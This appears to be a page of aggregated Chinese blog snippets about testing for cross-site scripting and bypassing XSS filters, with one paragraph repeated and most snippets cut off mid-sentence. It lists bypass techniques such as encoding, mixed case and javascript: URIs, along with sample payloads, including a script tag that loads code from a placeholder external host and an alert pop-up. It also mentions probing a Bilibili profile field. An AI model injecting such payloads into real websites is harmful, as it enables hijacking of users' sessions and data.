原文链接：https://blog.csdn.net/qq_29277155/article/details/51320064 0x00前言 我们友情进行XSS检查，偶然跳出个小弹窗，其中我们总结了一些平时可能用到的XSS插入方式，方便我们以后进行快速检查，也提供了一定的思路 ...

很多网站为了避免XSS的攻击，对用户的输入都采取了过滤，最常见的就是对<>转换成&lt;以及&gt;，经过转换以后<>虽然可在正确显示在页面上，但是已经不能构成代码语句了。这个貌似很彻底，因为一旦<>被转换掉，什么<script src ...

绕过XSS过滤的常用方法如下 ...

很多网站为了避免XSS的攻击，对用户的输入都采取了过滤，最常见的就是对<>转换成&lt;以及&gt;，经过转换以后<>虽然可在正确显示在页面上，但是已经不能构成代码语句了。这个貌似很彻底，因为一旦<>被转换掉，什么<script src ...

测试代码： 标签 先对标签进行测试 绕过方法 可以弹窗的：alert，prompt ，confirm，base64加密，编码绕过（安全狗都没有过滤） 绕过方法有很多比如： 大小写绕过 javascript伪协议 没有分号 Flash HTML5 新标签 ...

大家都知道，普遍的防御XSS攻击的方法是在后台对以下字符进行转义：<、>、’、”，但是经过本人的研究发现，在一些特殊场景下，即使对以上字符进行了转义，还是可以执行XSS攻击的。 首先看一个JS的例子 ...

常用测试语句： <script src=http://xxx.com/xss.js></script> #引用外部的 xss <script> alert("hack")</script> #弹 出 hack < ...

在个人空间的我的收藏中可编辑视频收藏的名称，之后尝试写入标签。 http://space.bilibili.com/ 发现输出到前端的尖括号被转义了，不过出现 ...